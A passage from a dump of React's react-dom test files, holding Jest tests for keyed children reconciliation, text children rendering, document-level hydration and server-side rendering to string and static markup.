},\n    ];\n    await testPropsSequence(PROPS_SEQUENCE);\n  });\n\n  it('should remove nulled out children and ignore new null children', async () => {\n    const PROPS_SEQUENCE = [\n      {\n        usernameToStatus: {\n          jcw: 'jcwStatus',\n          jordanjcw: 'jordanjcwStatus',\n        },\n      },\n      {\n        usernameToStatus: {\n          jordanjcw: 'jordanjcwstatus2',\n          jcw: null,\n          another: null,\n        },\n      },\n    ];\n    await testPropsSequence(PROPS_SEQUENCE);\n  });\n\n  it('should remove nulled out children and reorder remaining', async () => {\n    const PROPS_SEQUENCE = [\n      {\n        usernameToStatus: {\n          jcw: 'jcwStatus',\n          jordanjcw: 'jordanjcwStatus',\n          john: 'johnStatus', // john will go away\n          joe: 'joeStatus',\n        },\n      },\n      {\n        usernameToStatus: {\n          jordanjcw: 'jordanjcwStatus',\n          joe: 'joeStatus',\n          jcw: 'jcwStatus',\n        },\n      },\n    ];\n    await testPropsSequence(PROPS_SEQUENCE);\n  });\n\n  it('should append children to the end', async () => {\n    const PROPS_SEQUENCE = [\n      {\n        usernameToStatus: {\n          jcw: 'jcwStatus',\n          jordanjcw: 'jordanjcwStatus',\n        },\n      },\n      {\n        usernameToStatus: {\n          jcw: 'jcwStatus',\n          jordanjcw: 'jordanjcwStatus',\n          jordanjcwnew: 'jordanjcwnewStatus',\n        },\n      },\n    ];\n    await testPropsSequence(PROPS_SEQUENCE);\n  });\n\n  it('should append multiple children to the end', async () => {\n    const PROPS_SEQUENCE = [\n      {\n        usernameToStatus: {\n          jcw: 'jcwStatus',\n          jordanjcw: 'jordanjcwStatus',\n        },\n      },\n      {\n        usernameToStatus: {\n          jcw: 'jcwStatus',\n          jordanjcw: 'jordanjcwStatus',\n          jordanjcwnew: 'jordanjcwnewStatus',\n          jordanjcwnew2: 'jordanjcwnewStatus2',\n        },\n      },\n    ];\n    await testPropsSequence(PROPS_SEQUENCE);\n  });\n\n  it('should prepend children to the beginning', async () => {\n    const PROPS_SEQUENCE = [\n      {\n        usernameToStatus: {\n          jcw: 'jcwStatus',\n          jordanjcw: 'jordanjcwStatus',\n        },\n      },\n      {\n        usernameToStatus: {\n          newUsername: 'newUsernameStatus',\n          jcw: 'jcwStatus',\n          jordanjcw: 'jordanjcwStatus',\n        },\n      },\n    ];\n    await testPropsSequence(PROPS_SEQUENCE);\n  });\n\n  it('should prepend multiple children to the beginning', async () => {\n    const PROPS_SEQUENCE = [\n      {\n        usernameToStatus: {\n          jcw: 'jcwStatus',\n          jordanjcw: 'jordanjcwStatus',\n        },\n      },\n      {\n        usernameToStatus: {\n          newNewUsername: 'newNewUsernameStatus',\n          newUsername: 'newUsernameStatus',\n          jcw: 'jcwStatus',\n          jordanjcw: 'jordanjcwStatus',\n        },\n      },\n    ];\n    await testPropsSequence(PROPS_SEQUENCE);\n  });\n\n  it('should not prepend an empty child to the beginning', async () => {\n    const PROPS_SEQUENCE = [\n      {\n        usernameToStatus: {\n          jcw: 'jcwStatus',\n          jordanjcw: 'jordanjcwStatus',\n        },\n      },\n      {\n        usernameToStatus: {\n          emptyUsername: null,\n          jcw: 'jcwStatus',\n          jordanjcw: 'jordanjcwStatus',\n        },\n      },\n    ];\n    await testPropsSequence(PROPS_SEQUENCE);\n  });\n\n  it('should not append an empty child to the end', async () => {\n    const PROPS_SEQUENCE = [\n      {\n        usernameToStatus: {\n          jcw: 'jcwStatus',\n          jordanjcw: 'jordanjcwStatus',\n        },\n      },\n      {\n        usernameToStatus: {\n          jcw: 'jcwStatus',\n          jordanjcw: 'jordanjcwStatus',\n          emptyUsername: null,\n        },\n      },\n    ];\n    await testPropsSequence(PROPS_SEQUENCE);\n  });\n\n  it('should not insert empty children in the middle', async () => {\n    const PROPS_SEQUENCE = [\n      {\n        usernameToStatus: {\n          jcw: 'jcwStatus',\n          jordanjcw: 'jordanjcwStatus',\n        },\n      },\n      {\n        usernameToStatus: {\n          jcw: 'jcwstatus2',\n          skipOverMe: null,\n          skipOverMeToo: null,\n          definitelySkipOverMe: null,\n          jordanjcw: 'jordanjcwstatus2',\n        },\n      },\n    ];\n    await testPropsSequence(PROPS_SEQUENCE);\n  });\n\n  it('should insert one new child in the middle', async () => {\n    const PROPS_SEQUENCE = [\n      {\n        usernameToStatus: {\n          jcw: 'jcwStatus',\n          jordanjcw: 'jordanjcwStatus',\n        },\n      },\n      {\n        usernameToStatus: {\n          jcw: 'jcwstatus2',\n          insertThis: 'insertThisStatus',\n          jordanjcw: 'jordanjcwstatus2',\n        },\n      },\n    ];\n    await testPropsSequence(PROPS_SEQUENCE);\n  });\n\n  it('should insert multiple new truthy children in the middle', async () => {\n    const PROPS_SEQUENCE = [\n      {\n        usernameToStatus: {\n          jcw: 'jcwStatus',\n          jordanjcw: 'jordanjcwStatus',\n        },\n      },\n      {\n        usernameToStatus: {\n          jcw: 'jcwstatus2',\n          insertThis: 'insertThisStatus',\n          insertThisToo: 'insertThisTooStatus',\n          definitelyInsertThisToo: 'definitelyInsertThisTooStatus',\n          jordanjcw: 'jordanjcwstatus2',\n        },\n      },\n    ];\n    await testPropsSequence(PROPS_SEQUENCE);\n  });\n\n  it('should insert non-empty children in middle where nulls were', async () => {\n    const PROPS_SEQUENCE = [\n      {\n        usernameToStatus: {\n          jcw: 'jcwStatus',\n          insertThis: null,\n          insertThisToo: null,\n          definitelyInsertThisToo: null,\n          jordanjcw: 'jordanjcwStatus',\n        },\n      },\n      {\n        usernameToStatus: {\n          jcw: 'jcwstatus2',\n          insertThis: 'insertThisStatus',\n          insertThisToo: 'insertThisTooStatus',\n          definitelyInsertThisToo: 'definitelyInsertThisTooStatus',\n          jordanjcw: 'jordanjcwstatus2',\n        },\n      },\n    ];\n    await testPropsSequence(PROPS_SEQUENCE);\n  });\n});\n"
  },
  {
    "path": "packages/react-dom/src/__tests__/ReactMultiChildText-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\nconst React = require('react');\nconst ReactDOMClient = require('react-dom/client');\nconst act = require('internal-test-utils').act;\n\n// Helpers\nconst testAllPermutations = async function (testCases) {\n  for (let i = 0; i < testCases.length; i += 2) {\n    const renderWithChildren = testCases[i];\n    const expectedResultAfterRender = testCases[i + 1];\n\n    for (let j = 0; j < testCases.length; j += 2) {\n      const updateWithChildren = testCases[j];\n      const expectedResultAfterUpdate = testCases[j + 1];\n\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => root.render(<div>{renderWithChildren}</div>));\n      expectChildren(container, expectedResultAfterRender);\n\n      await act(() => root.render(<div>{updateWithChildren}</div>));\n      expectChildren(container, expectedResultAfterUpdate);\n    }\n  }\n};\n\nconst expectChildren = function (container, children) {\n  const outerNode = container.firstChild;\n  let textNode;\n  if (typeof children === 'string') {\n    textNode = outerNode.firstChild;\n\n    if (children === '') {\n      expect(textNode != null).toBe(false);\n    } else {\n      expect(textNode != null).toBe(true);\n      expect(textNode.nodeType).toBe(3);\n      expect(textNode.data).toBe(String(children));\n    }\n  } else {\n    let mountIndex = 0;\n\n    for (let i = 0; i < children.length; i++) {\n      const child = children[i];\n\n      if (typeof child === 'string') {\n        if (child === '') {\n          continue;\n        }\n        textNode = outerNode.childNodes[mountIndex];\n        expect(textNode != null).toBe(true);\n        expect(textNode.nodeType).toBe(3);\n        expect(textNode.data).toBe(child);\n        mountIndex++;\n      } else {\n        const elementDOMNode = outerNode.childNodes[mountIndex];\n        expect(elementDOMNode.tagName).toBe('DIV');\n        mountIndex++;\n      }\n    }\n  }\n};\n\n/**\n * ReactMultiChild DOM integration test. In ReactDOM components, we make sure\n * that single children that are strings are treated as \"content\" which is much\n * faster to render and update.\n */\ndescribe('ReactMultiChildText', () => {\n  jest.setTimeout(30000);\n\n  it('should correctly handle all possible children for render and update', async () => {\n    spyOnDev(console, 'error').mockImplementation(() => {});\n    // prettier-ignore\n    await testAllPermutations([\n      // basic values\n      undefined, [],\n      null, [],\n      false, [],\n      true, [],\n      0, '0',\n      1.2, '1.2',\n      '', [],\n      'foo', 'foo',\n    \n      [], [],\n      [undefined], [],\n      [null], [],\n      [false], [],\n      [true], [],\n      [0], ['0'],\n      [1.2], ['1.2'],\n      [''], [],\n      ['foo'], ['foo'],\n      [<div />], [<div />],\n    \n      // two adjacent values\n      [true, 0], ['0'],\n      [0, 0], ['0', '0'],\n      [1.2, 0], ['1.2', '0'],\n      [0, ''], ['0', ''],\n      ['foo', 0], ['foo', '0'],\n      [0, <div />], ['0', <div />],\n    \n      [true, 1.2], ['1.2'],\n      [1.2, 0], ['1.2', '0'],\n      [1.2, 1.2], ['1.2', '1.2'],\n      [1.2, ''], ['1.2', ''],\n      ['foo', 1.2], ['foo', '1.2'],\n      [1.2, <div />], ['1.2', <div />],\n    \n      [true, ''], [''],\n      ['', 0], ['', '0'],\n      [1.2, ''], ['1.2', ''],\n      ['', ''], ['', ''],\n      ['foo', ''], ['foo', ''],\n      ['', <div />], ['', <div />],\n    \n      [true, 'foo'], ['foo'],\n      ['foo', 0], ['foo', '0'],\n      [1.2, 'foo'], ['1.2', 'foo'],\n      ['foo', ''], ['foo', ''],\n      ['foo', 'foo'], ['foo', 'foo'],\n      ['foo', <div />], ['foo', <div />],\n    \n      // values separated by an element\n      [true, <div />, true], [<div />],\n      [1.2, <div />, 1.2], ['1.2', <div />, '1.2'],\n      ['', <div />, ''], ['', <div />, ''],\n      ['foo', <div />, 'foo'], ['foo', <div />, 'foo'],\n    \n      [true, 1.2, <div />, '', 'foo'], ['1.2', <div />, '', 'foo'],\n      [1.2, '', <div />, 'foo', true], ['1.2', '', <div />, 'foo'],\n      ['', 'foo', <div />, true, 1.2], ['', 'foo', <div />, '1.2'],\n    \n      [true, 1.2, '', <div />, 'foo', true, 1.2], ['1.2', '', <div />, 'foo', '1.2'],\n      ['', 'foo', true, <div />, 1.2, '', 'foo'], ['', 'foo', <div />, '1.2', '', 'foo'],\n    \n      // values inside arrays\n      [[true], [true]], [],\n      [[1.2], [1.2]], ['1.2', '1.2'],\n      [[''], ['']], ['', ''],\n      [['foo'], ['foo']], ['foo', 'foo'],\n      [[<div />], [<div />]], [<div />, <div />],\n    \n      [[true, 1.2, <div />], '', 'foo'], ['1.2', <div />, '', 'foo'],\n      [1.2, '', [<div />, 'foo', true]], ['1.2', '', <div />, 'foo'],\n      ['', ['foo', <div />, true], 1.2], ['', 'foo', <div />, '1.2'],\n    \n      [true, [1.2, '', <div />, 'foo'], true, 1.2], ['1.2', '', <div />, 'foo', '1.2'],\n      ['', 'foo', [true, <div />, 1.2, ''], 'foo'], ['', 'foo', <div />, '1.2', '', 'foo'],\n    \n      // values inside elements\n      [<div>{true}{1.2}{<div />}</div>, '', 'foo'], [<div />, '', 'foo'],\n      [1.2, '', <div>{<div />}{'foo'}{true}</div>], ['1.2', '', <div />],\n      ['', <div>{'foo'}{<div />}{true}</div>, 1.2], ['', <div />, '1.2'],\n    \n      [true, <div>{1.2}{''}{<div />}{'foo'}</div>, true, 1.2], [<div />, '1.2'],\n      ['', 'foo', <div>{true}{<div />}{1.2}{''}</div>, 'foo'], ['', 'foo', <div />, 'foo'],\n    ]);\n    if (__DEV__) {\n      expect(console.error).toHaveBeenCalledTimes(2);\n      expect(console.error.mock.calls[0][0]).toMatch(\n        'Each child in a list should have a unique \"key\" prop.',\n      );\n      expect(console.error.mock.calls[1][0]).toMatch(\n        'Each child in a list should have a unique \"key\" prop.',\n      );\n    }\n  });\n\n  it('should correctly handle bigint children for render and update', async () => {\n    // prettier-ignore\n    await testAllPermutations([\n      10n, '10',\n      [10n], ['10']\n    ]);\n  });\n\n  it('should throw if rendering both HTML and children', async () => {\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await expect(\n      act(() => {\n        root.render(\n          <div dangerouslySetInnerHTML={{__html: 'abcdef'}}>ghjkl</div>,\n        );\n      }),\n    ).rejects.toThrow();\n  });\n\n  it('should render between nested components and inline children', async () => {\n    let container = document.createElement('div');\n    let root = ReactDOMClient.createRoot(container);\n\n    await act(() => {\n      root.render(\n        <div>\n          <h1>\n            <span />\n            <span />\n          </h1>\n        </div>,\n      );\n    });\n\n    container = document.createElement('div');\n    root = ReactDOMClient.createRoot(container);\n    await expect(\n      act(() => {\n        root.render(\n          <div>\n            <h1>A</h1>\n          </div>,\n        );\n      }),\n    ).resolves.not.toThrow();\n\n    container = document.createElement('div');\n    root = ReactDOMClient.createRoot(container);\n    await expect(\n      act(() => {\n        root.render(\n          <div>\n            <h1>{['A']}</h1>\n          </div>,\n        );\n      }),\n    ).resolves.not.toThrow();\n\n    container = document.createElement('div');\n    root = ReactDOMClient.createRoot(container);\n    await expect(\n      act(() => {\n        root.render(\n          <div>\n            <h1>{['A', 'B']}</h1>\n          </div>,\n        );\n      }),\n    ).resolves.not.toThrow();\n  });\n});\n"
  },
  {
    "path": "packages/react-dom/src/__tests__/ReactRenderDocument-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\nlet React;\nlet ReactDOM;\nlet ReactDOMClient;\nlet ReactDOMServer;\nlet act;\nlet Scheduler;\nlet assertLog;\n\nfunction getTestDocument(markup) {\n  const doc = document.implementation.createHTMLDocument('');\n  doc.open();\n  doc.write(\n    markup ||\n      '<!doctype html><html><meta charset=utf-8><title>test doc</title>',\n  );\n  doc.close();\n  return doc;\n}\n\nfunction normalizeError(msg) {\n  // Take the first sentence to make it easier to assert on.\n  const idx = msg.indexOf('.');\n  if (idx > -1) {\n    return msg.slice(0, idx + 1);\n  }\n  return msg;\n}\n\ndescribe('rendering React components at document', () => {\n  beforeEach(() => {\n    jest.resetModules();\n\n    React = require('react');\n    ReactDOM = require('react-dom');\n    ReactDOMClient = require('react-dom/client');\n    ReactDOMServer = require('react-dom/server');\n    act = require('internal-test-utils').act;\n    assertLog = require('internal-test-utils').assertLog;\n    Scheduler = require('scheduler');\n  });\n\n  describe('with new explicit hydration API', () => {\n    it('should be able to adopt server markup', async () => {\n      class Root extends React.Component {\n        render() {\n          return (\n            <html>\n              <head>\n                <title>Hello World</title>\n              </head>\n              <body>{'Hello ' + this.props.hello}</body>\n            </html>\n          );\n        }\n      }\n\n      const markup = ReactDOMServer.renderToString(<Root hello=\"world\" />);\n      expect(markup).not.toContain('DOCTYPE');\n      expect(markup).not.toContain('rel=\"expect\"');\n      const testDocument = getTestDocument(markup);\n      const body = testDocument.body;\n\n      let root;\n      await act(() => {\n        root = ReactDOMClient.hydrateRoot(testDocument, <Root hello=\"world\" />);\n      });\n      expect(testDocument.body.innerHTML).toBe('Hello world');\n\n      await act(() => {\n        root.render(<Root hello=\"moon\" />);\n      });\n      expect(testDocument.body.innerHTML).toBe('Hello moon');\n\n      expect(body === testDocument.body).toBe(true);\n    });\n\n    it('should be able to unmount component from document node, but leaves singleton nodes intact', async () => {\n      class Root extends React.Component {\n        render() {\n          return (\n            <html>\n              <head>\n                <title>Hello World</title>\n              </head>\n              <body>Hello world</body>\n            </html>\n          );\n        }\n      }\n\n      const markup = ReactDOMServer.renderToString(<Root />);\n      const testDocument = getTestDocument(markup);\n      let root;\n      await act(() => {\n        root = ReactDOMClient.hydrateRoot(testDocument, <Root />);\n      });\n      expect(testDocument.body.innerHTML).toBe('Hello world');\n\n      const originalDocEl = testDocument.documentElement;\n      const originalHead = testDocument.head;\n      const originalBody = testDocument.body;\n\n      // When we unmount everything is removed except the singleton nodes of html, head, and body\n      root.unmount();\n      expect(testDocument.firstChild).toBe(originalDocEl);\n      expect(testDocument.head).toBe(originalHead);\n      expect(testDocument.body).toBe(originalBody);\n      expect(originalBody.innerHTML).toBe('');\n      expect(originalHead.innerHTML).toBe('');\n    });\n\n    it('should not be able to switch root constructors', async () => {\n      class Component extends React.Component {\n        render() {\n          return (\n            <html>\n              <head>\n                <title>Hello World</title>\n              </head>\n              <body>Hello world</body>\n            </html>\n          );\n        }\n      }\n\n      class Component2 extends React.Component {\n        render() {\n          return (\n            <html>\n              <head>\n                <title>Hello World</title>\n              </head>\n              <body>Goodbye world</body>\n            </html>\n          );\n        }\n      }\n\n      const markup = ReactDOMServer.renderToString(<Component />);\n      const testDocument = getTestDocument(markup);\n\n      let root;\n      await act(() => {\n        root = ReactDOMClient.hydrateRoot(testDocument, <Component />);\n      });\n\n      expect(testDocument.body.innerHTML).toBe('Hello world');\n\n      await act(() => {\n        root.render(<Component2 />);\n      });\n\n      expect(testDocument.body.innerHTML).toBe('Goodbye world');\n    });\n\n    it('should be able to mount into document', async () => {\n      class Component extends React.Component {\n        render() {\n          return (\n            <html>\n              <head>\n                <title>Hello World</title>\n              </head>\n              <body>{this.props.text}</body>\n            </html>\n          );\n        }\n      }\n\n      const markup = ReactDOMServer.renderToString(\n        <Component text=\"Hello world\" />,\n      );\n      const testDocument = getTestDocument(markup);\n\n      await act(() => {\n        ReactDOMClient.hydrateRoot(\n          testDocument,\n          <Component text=\"Hello world\" />,\n        );\n      });\n\n      expect(testDocument.body.innerHTML).toBe('Hello world');\n    });\n\n    it('cannot render over an existing text child at the root', async () => {\n      const container = document.createElement('div');\n      container.textContent = 'potato';\n\n      ReactDOM.flushSync(() => {\n        ReactDOMClient.hydrateRoot(container, <div>parsnip</div>, {\n          onRecoverableError: error => {\n            Scheduler.log(\n              'onRecoverableError: ' + normalizeError(error.message),\n            );\n            if (error.cause) {\n              Scheduler.log('Cause: ' + normalizeError(error.cause.message));\n            }\n          },\n        });\n      });\n\n      assertLog([\n        \"onRecoverableError: Hydration failed because the server rendered HTML didn't match the client.\",\n      ]);\n\n      // This creates an unfortunate double text case.\n      expect(container.textContent).toBe('parsnip');\n    });\n\n    it('renders over an existing nested text child without throwing', async () => {\n      const container = document.createElement('div');\n      const wrapper = document.createElement('div');\n      wrapper.textContent = 'potato';\n      container.appendChild(wrapper);\n      ReactDOM.flushSync(() => {\n        ReactDOMClient.hydrateRoot(\n          container,\n          <div>\n            <div>parsnip</div>\n          </div>,\n          {\n            onRecoverableError: error => {\n              Scheduler.log(\n                'onRecoverableError: ' + normalizeError(error.message),\n              );\n              if (error.cause) {\n                Scheduler.log('Cause: ' + normalizeError(error.cause.message));\n              }\n            },\n          },\n        );\n      });\n\n      assertLog([\n        \"onRecoverableError: Hydration failed because the server rendered HTML didn't match the client.\",\n      ]);\n      expect(container.textContent).toBe('parsnip');\n    });\n\n    it('should give helpful errors on state desync', async () => {\n      class Component extends React.Component {\n        render() {\n          return (\n            <html>\n              <head>\n                <title>Hello World</title>\n              </head>\n              <body>{this.props.text}</body>\n            </html>\n          );\n        }\n      }\n\n      const markup = ReactDOMServer.renderToString(\n        <Component text=\"Goodbye world\" />,\n      );\n      const testDocument = getTestDocument(markup);\n\n      ReactDOM.flushSync(() => {\n        ReactDOMClient.hydrateRoot(\n          testDocument,\n          <Component text=\"Hello world\" />,\n          {\n            onRecoverableError: error => {\n              Scheduler.log(\n                'onRecoverableError: ' + normalizeError(error.message),\n              );\n              if (error.cause) {\n                Scheduler.log('Cause: ' + normalizeError(error.cause.message));\n              }\n            },\n          },\n        );\n      });\n\n      assertLog([\n        \"onRecoverableError: Hydration failed because the server rendered text didn't match the client.\",\n      ]);\n      expect(testDocument.body.innerHTML).toBe('Hello world');\n    });\n\n    it('should render w/ no markup to full document', async () => {\n      const testDocument = getTestDocument();\n\n      class Component extends React.Component {\n        render() {\n          return (\n            <html>\n              <head>\n                <title>Hello World</title>\n              </head>\n              <body>{this.props.text}</body>\n            </html>\n          );\n        }\n      }\n\n      // with float the title no longer is a hydration mismatch so we get an error on the body mismatch\n      ReactDOM.flushSync(() => {\n        ReactDOMClient.hydrateRoot(\n          testDocument,\n          <Component text=\"Hello world\" />,\n          {\n            onRecoverableError: error => {\n              Scheduler.log(\n                'onRecoverableError: ' + normalizeError(error.message),\n              );\n              if (error.cause) {\n                Scheduler.log('Cause: ' + normalizeError(error.cause.message));\n              }\n            },\n          },\n        );\n      });\n      assertLog([\n        \"onRecoverableError: Hydration failed because the server rendered HTML didn't match the client.\",\n      ]);\n      expect(testDocument.body.innerHTML).toBe('Hello world');\n    });\n  });\n});\n"
  },
  {
    "path": "packages/react-dom/src/__tests__/ReactServerRendering-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n * @jest-environment node\n */\n\n'use strict';\n\nlet React;\nlet ReactDOMServer;\nlet PropTypes;\nlet ReactSharedInternals;\nlet assertConsoleErrorDev;\n\ndescribe('ReactDOMServer', () => {\n  beforeEach(() => {\n    jest.resetModules();\n    React = require('react');\n    PropTypes = require('prop-types');\n    ReactDOMServer = require('react-dom/server');\n    assertConsoleErrorDev =\n      require('internal-test-utils').assertConsoleErrorDev;\n    ReactSharedInternals =\n      React.__CLIENT_INTERNALS_DO_NOT_USE_OR_WARN_USERS_THEY_CANNOT_UPGRADE;\n  });\n\n  describe('renderToString', () => {\n    it('should generate simple markup', () => {\n      const response = ReactDOMServer.renderToString(<span>hello world</span>);\n      expect(response).toMatch(new RegExp('<span' + '>hello world</span>'));\n    });\n\n    it('should generate simple markup for self-closing tags', () => {\n      const response = ReactDOMServer.renderToString(<img />);\n      expect(response).toMatch(new RegExp('<img' + '/>'));\n    });\n\n    it('should generate comment markup for component returns null', () => {\n      class NullComponent extends React.Component {\n        render() {\n          return null;\n        }\n      }\n\n      const response = ReactDOMServer.renderToString(<NullComponent />);\n      expect(response).toBe('');\n    });\n\n    // TODO: Test that listeners are not registered onto any document/container.\n\n    it('should render composite components', () => {\n      class Parent extends React.Component {\n        render() {\n          return (\n            <div>\n              <Child name=\"child\" />\n            </div>\n          );\n        }\n      }\n\n      class Child extends React.Component {\n        render() {\n          return <span>My name is {this.props.name}</span>;\n        }\n      }\n\n      const response = ReactDOMServer.renderToString(<Parent />);\n      expect(response).toMatch(\n        new RegExp(\n          '<div>' +\n            '<span' +\n            '>' +\n            'My name is <!-- -->child' +\n            '</span>' +\n            '</div>',\n        ),\n      );\n    });\n\n    it('should only execute certain lifecycle methods', () => {\n      function runTest() {\n        const lifecycle = [];\n\n        class TestComponent extends React.Component {\n          constructor(props) {\n            super(props);\n            lifecycle.push('getInitialState');\n            this.state = {name: 'TestComponent'};\n          }\n\n          UNSAFE_componentWillMount() {\n            lifecycle.push('componentWillMount');\n          }\n\n          componentDidMount() {\n            lifecycle.push('componentDidMount');\n          }\n\n          render() {\n            lifecycle.push('render');\n            return <span>Component name: {this.state.name}</span>;\n          }\n\n          UNSAFE_componentWillUpdate() {\n            lifecycle.push('componentWillUpdate');\n          }\n\n          componentDidUpdate() {\n            lifecycle.push('componentDidUpdate');\n          }\n\n          shouldComponentUpdate() {\n            lifecycle.push('shouldComponentUpdate');\n          }\n\n          UNSAFE_componentWillReceiveProps() {\n            lifecycle.push('componentWillReceiveProps');\n          }\n\n          componentWillUnmount() {\n            lifecycle.push('componentWillUnmount');\n          }\n        }\n\n        const response = ReactDOMServer.renderToString(<TestComponent />);\n\n        expect(response).toMatch(\n          new RegExp(\n            '<span>' + 'Component name: <!-- -->TestComponent' + '</span>',\n          ),\n        );\n        expect(lifecycle).toEqual([\n          'getInitialState',\n          'componentWillMount',\n          'render',\n        ]);\n      }\n\n      runTest();\n    });\n\n    it('should throw with silly args', () => {\n      expect(\n        ReactDOMServer.renderToString.bind(ReactDOMServer, {x: 123}),\n      ).toThrowError(\n        'Objects are not valid as a React child (found: object with keys {x})',\n      );\n    });\n\n    it('should throw prop mapping error for an <iframe /> with invalid props', () => {\n      expect(() => {\n        ReactDOMServer.renderToString(<iframe style=\"border:none;\" />);\n      }).toThrowError(\n        'The `style` prop expects a mapping from style properties to values, not ' +\n          \"a string. For example, style={{marginRight: spacing + 'em'}} when using JSX.\",\n      );\n    });\n\n    it('should not crash on poisoned hasOwnProperty', () => {\n      const html = ReactDOMServer.renderToString(\n        <div hasOwnProperty=\"poison\">\n          <span unknown=\"test\" />\n        </div>,\n      );\n      assertConsoleErrorDev([\n        'React does not recognize the `hasOwnProperty` prop on a DOM element. ' +\n          'If you intentionally want it to appear in the DOM as a custom attribute, ' +\n          'spell it as lowercase `hasownproperty` instead. ' +\n          'If you accidentally passed it from a parent component, remove it from the DOM element.\\n' +\n          '    in div (at **)',\n      ]);\n      expect(html).toContain('<span unknown=\"test\">');\n    });\n  });\n\n  describe('renderToStaticMarkup', () => {\n    it('should not put checksum and React ID on components', () => {\n      class NestedComponent extends React.Component {\n        render() {\n          return <div>inner text</div>;\n        }\n      }\n\n      class TestComponent extends React.Component {\n        render() {\n          return (\n            <span>\n              <NestedComponent />\n            </span>\n          );\n        }\n      }\n\n      const response = ReactDOMServer.renderToStaticMarkup(<TestComponent />);\n\n      expect(response).toBe('<span><div>inner text</div></span>');\n    });\n\n    it('should not put checksum and React ID on text components', () => {\n      class TestComponent extends React.Component {\n        render() {\n          return (\n            <span>\n              {'hello'} {'world'}\n            </span>\n          );\n        }\n      }\n\n      const response = ReactDOMServer.renderToStaticMarkup(<TestComponent />);\n\n      expect(response).toBe('<span>hello world</span>');\n    });\n\n    it('should not use comments for empty nodes', () => {\n      class TestComponent extends React.Component {\n        render() {\n          return null;\n        }\n      }\n\n      const response = ReactDOMServer.renderToStaticMarkup(<TestComponent />);\n\n      expect(response).toBe('');\n    });\n\n    it('should only execute certain lifecycle methods', () => {\n      function runTest() {\n        const lifecycle = [];\n\n        class TestComponent extends React.Component {\n          constructor(props) {\n            super(props);\n            lifecycle.push('getInitialState');\n            this.state = {name: 'TestComponent'};\n          }\n\n          UNSAFE_componentWillMount() {\n            lifecycle.push('componentWillMount');\n          }\n\n          componentDidMount() {\n            lifecycle.push('componentDidMount');\n          }\n\n          render() {\n            lifecycle.push('render');\n            return <span>Component name: {this.state.name}</span>;\n          }\n\n          UNSAFE_componentWillUpdate() {\n            lifecycle.push('componentWillUpdate');\n          }\n\n          componentDidUpdate() {\n            lifecycle.push('componentDidUpdate');\n          }\n\n          shouldComponentUpdate() {\n            lifecycle.push('shouldComponentUpdate');\n          }\n\n          UNSAFE_componentWillReceiveProps() {\n            lifecycle.push('componentWillReceiveProps');\n          }\n\n          componentWillUnmount() {\n            lifecycle.push('componentWillUnmount');\n          }\n        }\n\n        const response = ReactDOMServer.renderToStaticMarkup(<TestComponent />);\n\n        expect(response).toBe('<span>Component name: TestComponent</span>');\n        expect(lifecycle).toEqual([\n          'getInitialState',\n          'componentWillMount',\n          'render',\n        ]);\n      }\n\n      runTest();\n    });\n\n    it('should throw with silly args', () => {\n      expect(\n        ReactDOMServer.renderToStaticMarkup.bind(ReactDOMServer, {x: 123}),\n      ).toThrowError(\n        'Objects are not valid as a React child (found: object with keys {x})',\n      );\n    });\n\n    it('allows setState in componentWillMount without using DOM', () => {\n      class Component extends React.Component {\n        UNSAFE_componentWillMount() {\n          this.setState({text: 'hello, world'});\n        }\n\n        render() {\n          return <div>{this.state.text}</div>;\n        }\n      }\n      const markup = ReactDOMServer.renderToStaticMarkup(<Component />);\n      expect(markup).toContain('hello, world');\n    });\n\n    it('allows setState in componentWillMount with custom constructor', () => {\n      class Component extends React.Component {\n        constructor() {\n          super();\n          this.state = {text: 'default state'};\n        }\n\n        UNSAFE_componentWillMount() {\n          this.setState({text: 'hello, world'});\n        }\n\n        render() {\n          return <div>{this.state.text}</div>;\n        }\n      }\n      const markup = ReactDOMServer.renderToStaticMarkup(<Component />);\n      expect(markup).toContain('hello, world');\n    });\n\n    it('renders with props when using custom constructor', () => {\n      class Component extends React.Component {\n        constructor() {\n          super();\n        }\n\n        render() {\n          return <div>{this.props.text}</div>;\n        }\n      }\n\n      const markup = ReactDOMServer.renderToStaticMarkup(\n        <Component text=\"hello, world\" />,\n      );\n      expect(markup).toContain('hello, world');\n    });\n\n    // @gate !disableLegacyContext\n    it('renders with context when using custom constructor', () => {\n      class Component extends React.Component {\n        constructor() {\n          super();\n        }\n\n        render() {\n          return <div>{this.context.text}</div>;\n        }\n      }\n\n      Component.contextTypes = {\n        text: PropTypes.string.isRequired,\n      };\n\n      class ContextProvider extends React.Component {\n        getChildContext() {\n          return {\n            text: 'hello, world',\n          };\n        }\n\n        render() {\n          return this.props.children;\n        }\n      }\n\n      ContextProvider.childContextTypes = {\n        text: PropTypes.string,\n      };\n\n      const markup = ReactDOMServer.renderToStaticMarkup(\n        <ContextProvider>\n          <Component />\n        </ContextProvider>,\n      );\n      assertConsoleErrorDev([\n        'ContextProvider uses the legacy childContextTypes API which will soon be removed. ' +\n          'Use React.createContext() instead. (https://react.dev/link/legacy-context)\\n' +\n          '    in ContextProvider (at **)',\n        'Component uses the legacy contextTypes API which will soon be removed. ' +\n          'Use React.createContext() with static contextType instead. (https://react.dev/link/legacy-context)\\n' +\n          '    in Component (at **)',\n      ]);\n      expect(markup).toContain('hello, world');\n    });\n\n    it('renders with new context API', () => {\n      const Context = React.createContext(0);\n\n      function Consumer(props) {\n        return (\n          <Context.Consumer>{value => 'Result: ' + value}</Context.Consumer>\n        );\n      }\n\n      const Indirection = React.Fragment;\n\n      function App(props) {\n        return (\n          <Context.Provider value={props.value}>\n            <Context.Provider value={2}>\n              <Consumer />\n            </Context.Provider>\n            <Indirection>\n              <Indirection>\n                <Consumer />\n                <Context.Provider value={3}>\n                  <Consumer />\n                </Context.Provider>\n              </Indirection>\n            </Indirection>\n            <Consumer />\n          </Context.Provider>\n        );\n      }\n\n      const markup = ReactDOMServer.renderToStaticMarkup(<App value={1} 